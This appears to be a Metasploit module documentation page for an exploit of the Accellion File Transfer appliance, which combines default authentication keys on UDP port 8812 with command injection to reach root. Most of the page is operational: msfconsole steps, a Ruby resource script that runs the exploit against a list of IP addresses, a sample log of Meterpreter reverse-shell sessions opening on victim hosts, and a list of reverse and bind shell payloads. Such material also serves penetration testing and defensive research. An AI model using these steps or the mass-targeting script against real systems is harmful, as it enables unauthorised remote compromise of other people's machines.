Accellion FTA MPIPE2 Command Execution - Metasploit


This page contains detailed information about how to use the exploit/linux/misc/accellion_fta_mpipe2 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Accellion FTA MPIPE2 Command Execution
Module: exploit/linux/misc/accellion_fta_mpipe2
Source code: modules/exploits/linux/misc/accellion_fta_mpipe2.rb
Disclosure date: 2011-02-07
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 8812
List of CVEs: -

This module exploits a chain of vulnerabilities in the Accellion File Transfer appliance. This appliance exposes a UDP service on port 8812 that acts as a gateway to the internal communication bus. This service uses Blowfish encryption for authentication, but the appliance ships with two easy to guess default authentication keys. This module abuses the known default encryption keys to inject a message into the communication bus. In order to execute arbitrary commands on the remote appliance, a message is injected into the bus destined for the 'matchrep' service. This service exposes a function named 'insert_plugin_meta_info' which is vulnerable to an input validation flaw in a call to system(). This provides access to the 'soggycat' user account, which has sudo privileges to run the primary admin tool as root. These two flaws are fixed in update version FTA_8_0_562.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using accellion_fta_mpipe2 against a single host

Normally, you can use exploit/linux/misc/accellion_fta_mpipe2 this way:

msf > use exploit/linux/misc/accellion_fta_mpipe2
msf exploit(accellion_fta_mpipe2) > show targets
    ... a list of targets ...
msf exploit(accellion_fta_mpipe2) > set TARGET target-id
msf exploit(accellion_fta_mpipe2) > show options
    ... show and set options ...
msf exploit(accellion_fta_mpipe2) > exploit

Using accellion_fta_mpipe2 against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your accellion_fta_mpipe2 will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/misc/accellion_fta_mpipe2")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the linux/misc/accellion_fta_mpipe2 exploit module looks in the msfconsole:

msf6 > use exploit/linux/misc/accellion_fta_mpipe2

msf6 exploit(linux/misc/accellion_fta_mpipe2) > show info

       Name: Accellion FTA MPIPE2 Command Execution
     Module: exploit/linux/misc/accellion_fta_mpipe2
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-02-07

Provided by:
  hdm <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  APPID   1000             yes       The application ID (usually 1000)
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   8812             yes       The target port (UDP)

Payload information:
  Space: 1024

Description:
  This module exploits a chain of vulnerabilities in the Accellion 
  File Transfer appliance. This appliance exposes a UDP service on 
  port 8812 that acts as a gateway to the internal communication bus. 
  This service uses Blowfish encryption for authentication, but the 
  appliance ships with two easy to guess default authentication keys. 
  This module abuses the known default encryption keys to inject a 
  message into the communication bus. In order to execute arbitrary 
  commands on the remote appliance, a message is injected into the bus 
  destined for the 'matchrep' service. This service exposes a function 
  named 'insert_plugin_meta_info' which is vulnerable to an input 
  validation flaw in a call to system(). This provides access to the 
  'soggycat' user account, which has sudo privileges to run the 
  primary admin tool as root. These two flaws are fixed in update 
  version FTA_8_0_562.

References:
  OSVDB (71362)
  OSVDB (71363)
  http://www.rapid7.com/security-center/advisories/R7-0039.jsp

Module Options

This is a complete list of options available in the linux/misc/accellion_fta_mpipe2 exploit:

msf6 exploit(linux/misc/accellion_fta_mpipe2) > show options

Module options (exploit/linux/misc/accellion_fta_mpipe2):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   APPID   1000             yes       The application ID (usually 1000)
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   8812             yes       The target port (UDP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the linux/misc/accellion_fta_mpipe2 exploit:

msf6 exploit(linux/misc/accellion_fta_mpipe2) > show advanced

Module advanced options (exploit/linux/misc/accellion_fta_mpipe2):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Exploit Targets

Here is a list of targets (platforms and systems) which the linux/misc/accellion_fta_mpipe2 module can exploit:

msf6 exploit(linux/misc/accellion_fta_mpipe2) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/accellion_fta_mpipe2 exploit:

msf6 exploit(linux/misc/accellion_fta_mpipe2) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Evasion Options

Here is the full list of possible evasion options supported by the linux/misc/accellion_fta_mpipe2 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/misc/accellion_fta_mpipe2) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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References

See Also

Check also the following modules related to this module:

Authors

  • hdm

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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